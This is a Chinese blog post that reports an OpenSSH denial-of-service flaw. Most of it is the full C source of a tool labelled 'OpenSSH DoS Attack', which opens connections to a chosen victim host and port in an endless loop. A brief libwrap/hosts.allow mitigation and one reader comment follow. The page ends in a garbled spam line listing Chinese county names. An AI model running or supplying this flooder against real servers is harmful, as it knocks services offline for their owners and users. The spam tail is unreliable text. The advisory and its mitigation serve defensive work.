詳細描述
          openssh存在拒絕服務攻擊,使用如下操作:

          $ ssh user@somehost.com
          ssh_exchange_identification: Connection closed by remote host

          可以導致服務停止。

          測試代碼
          --[ Code ]--

          #include <sys/types.h>
          #include <sys/socket.h>
          #include <netinet/in.h>
          #include <arpa/inet.h>
          #include <netdb.h>
          #include <stdio.h>
          #include <unistd.h>

          int main (int argc, char *argv[]) {

          ??int sd, rc;
          ??struct sockaddr_in localAddr, servAddr;
          ??struct linger ling;
          ??struct hostent *h;

          ??if(argc < 3) {
          ????printf("tunga.c - OpenSSH DoS Attack\n");
          ????printf("by DrBrain <drbrain@phibernet.org>\n");
          ????printf("Phibernet Information Network < http://www.phibernet.org
          >\n\n");
          ????printf("Usage: %s <victim> <port>\n\n",argv[0]);
          ????exit(1);
          ??}

          ??h = gethostbyname(argv[1]);
          ??if(h==NULL) {
          ????printf("%s: Unknown Host '%s'\n",argv[0],argv[1]);
          ????exit(1);
          ??}

          ??for(;;) {
          ????servAddr.sin_family = h->h_addrtype;
          ????memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0],
          h->h_length);
          ????servAddr.sin_port = htons(atoi(argv[2]));

          ????sd = socket(AF_INET, SOCK_STREAM, 0);
          ????if(sd<0) {
          ??????perror("Cannot Open Socket ");
          ??????exit(1);
          ????}

          ????rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
          ????if(rc<0) {
          ??????perror("Cannot Connect ");
          ??????exit(1);
          ????}
          ??}
          ??exit(0);
          }

          解決方案
          編譯SSH服務程序支持libwrap(Tcp-wrappers),然后在/etc/hosts.{allow,deny} 中增加對源地址的控制。

          Feedback

          # re: SSH居然存在安全漏洞!!!還發生在我的身上,RedHat你還很狠!  回復  更多評論   

          2006-08-31 18:08 by JonneyQuest
          我們一直都是在/etc/hosts.allow中限制登錄的。
          應該遇不上這個漏洞。

          只有注冊用戶登錄后才能發表評論。


          網站導航:
           

          posts - 27, comments - 15, trackbacks - 0, articles - 1

          Copyright © E.ven

          主站蜘蛛池模板: 玉环县| 疏勒县| 永济市| 日照市| 莒南县| 乌苏市| 梁河县| 穆棱市| 鹰潭市| 蒲江县| 嘉义县| 宿松县| 嵊泗县| 中山市| 昭苏县| 祥云县| 石泉县| 乌恰县| 波密县| 定结县| 三原县| 鹿邑县| 长海县| 延边| 临高县| 郁南县| 土默特左旗| 十堰市| 乡宁县| 靖宇县| 博白县| 五原县| 桂东县| 和林格尔县| 周至县| 朔州市| 苍山县| 滨州市| 遂宁市| 宁明县| 清水县|